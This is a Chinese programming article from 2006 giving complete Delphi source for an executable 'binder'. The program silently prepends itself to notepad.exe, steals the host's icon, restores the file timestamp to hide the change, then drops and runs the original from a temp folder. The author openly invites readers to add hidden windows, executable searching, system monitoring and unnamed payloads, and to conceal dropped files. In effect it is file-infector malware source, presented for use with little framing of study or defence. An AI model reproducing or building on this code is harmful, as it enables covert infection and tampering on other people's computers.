分享
 
 
 

捆绑执行文件新思维(第二版)

王朝delphi·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

最新功能:与其它程序捆绑后,图标为其它程序的图标

这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存

如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

程序中几个数字的确定:

1 在本程序编译后用Aspack.Exe压缩,大小为41472

2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据

位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:

本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:

将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制

编辑软件载入,查找"99 99 99"字符串即可。以后你可为程序加上其它合适的图标。

十六进制编辑软件:常用UltraEdit。

本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:

http://guanbh.top263.net/download/hexedit.exe

}

program exe2;

uses

classes,

Tlhelp32,

windows,

graphics,

ShellAPI,

SysUtils;

{$R *.RES}

var

lppe:TProcessEntry32;

found:boolean;

handle:THandle;

ProcessStr,ExeName:string;

WinDir:pchar;

const

MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s:string);

var

s1,s2,IcoStream:TMemoryStream;

File2:TFilestream;

ch:array[0..1] of char;

ss:string;

filetime,fhandle:integer;

l:integer;

File2Icon:Ticon;

begin

{若文件s不存在}

if FileExists(s)=False then exit;

try

{若文件不含图标,就不捆绑}

File2Icon:=Ticon.Create;

l:=extracticon(handle,pchar(s),0);

if l=0 then

begin

File2Icon.Free;

exit;

end

else

begin

{提取被捆绑程序图标}

File2Icon.Handle:=extracticon(handle,pchar(s),0);

IcoStream:=TMemoryStream.Create;

File2Icon.SaveToStream(IcoStream);

File2Icon.Free;

end;

{判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}

File2:=TFilestream.Create(s,fmopenread);

if File2.Size>MySize then

begin

File2.Position:=MySize;

File2.Read(ch,2);

ss:=copy(ch,1,2);

if ss='MZ' then

begin

File2.Free;

exit;

end;

end;

File2.Free;

{将本文件与文件s合并 本文件+s=s}

s2:=TMemoryStream.Create;

s2.loadfromfile(ExeName);

s1:=TMemoryStream.Create;

{

加入本程序的前部40751字节

第40752字节开始共640字节为图标数据

!!以下数字 40751,81要根据实际情况修改!!

}

s1.copyfrom(s2,40751);

{将图标换为被捆绑程序图标,图标大小为766}

IcoStream.Position:=126;

s1.CopyFrom(IcoStream,640);

IcoStream.Free;

s2.Position:=40751+640;

{加入本程序的后部81字节}

s1.CopyFrom(s2,81);

s2.clear;

s2.loadfromfile(s);

s1.seek(s1.size,soFromBeginning);

{加入被捆绑程序全部}

s1.copyfrom(s2,s2.size);

s2.free;

{得到文件s的日期}

fhandle:=FileOpen(s, fmOpenread);

filetime:=filegetdate(fhandle);

fileclose(fhandle);

s1.SaveToFile(s);

{恢复文件s的日期}

fhandle:=FileOpen(s, fmOpenwrite);

filesetdate(fhandle,filetime);

fileclose(fhandle);

s1.free;

except end;

end;

procedure CreateFileAndRun;

var

s1,s2:TMemoryStream;

TempDir:pchar;

cmdstr:string;

a:integer;

Begin

s1:=TMemoryStream.Create;

s1.loadfromfile(ExeName);

if s1.Size=MySize then

begin

s1.Free;

exit;

end;

s1.seek(MySize,soFromBeginning);

s2:=TMemoryStream.Create;

s2.copyfrom(s1,s1.Size-MySize);

GetMem(TempDir,255);

GetTempPath(255,TempDir);

try

{

把文件释放到临时目录。

如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,

如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆)

}

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));

except end;

cmdstr:='';

a:=1;

while ParamStr(a)<>'' do begin

cmdstr:=cmdstr+ParamStr(a)+' ';

inc(a);

end;

{运行真正的程序文件}

winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);

freemem(TempDir);

s2.free;

s1.free;

end;

begin

GetMem(WinDir,255);

GetWindowsDirectory(WinDir,255);

ExeName:=ParamStr(0);

handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found:=Process32First(handle,lppe);

ProcessStr:='';

while found do

begin

ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}

found:=Process32Next(handle,lppe);

end;

{如果notepad没运行,就与它捆在一起}

if pos(WinDir+'\notepad.exe',ProcessStr)=0 then

begin

copy2(WinDir+'\notepad.exe');

end;

{其它需要捆绑的文件

if pos(...,ProcessStr)=0 then

begin

copy2(...);

end;

...

}

freemem(WinDir);

{

你想用这个程序干点其它的什么...

}

CreateFileAndRun;{释放文件并带参数运行}

end.

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有